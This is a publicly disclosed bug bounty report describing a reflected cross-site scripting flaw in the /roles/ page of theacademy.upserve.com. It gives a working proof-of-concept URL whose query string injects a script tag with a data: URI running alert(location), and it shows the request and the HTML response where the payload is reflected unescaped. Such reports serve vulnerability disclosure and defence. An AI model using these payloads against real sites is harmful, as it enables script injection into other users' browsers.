Upserve · Report #389592

[theacademy.upserve.com] Reflected XSS Query-String

Validstatus

lowseverity

$250bounty

11upvotes

19 Oct 2018disclosed

Summary

The reporter discovered an unauthenticated reflected cross-site scripting vulnerability in theacademy.upserve.com by setting the XSS payload as a GET parameter.

How it was found

Steps To Reproduce: Open URL in FireFox:

https://theacademy.upserve.com/roles/?%22%3E%3Cscript//src=data&colon;,alert(location)//

HTTP Request

GET /roles/?%22%3E%3Cscript//src=data&colon;,alert(location)// HTTP/1.1
Host: theacademy.upserve.com

HTTP Response

<a class="category dropdown-item name-sort sorting-desc" href="/roles/?"><script//src=data&colon;,alert(location)//&orderby=name&order=DESC">Name</a>
<a class="category dropdown-item views-sort " href="/roles/?"><script//src=data&colon;,alert(location)//&orderby=views&order=DESC" >Views</a>
<a class="category dropdown-item duration-sort " href="/roles/?"><script//src=data&colon;,alert(location)//&orderby=duration&order=DESC">Duration</a>

Impact

Reflected XSS

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original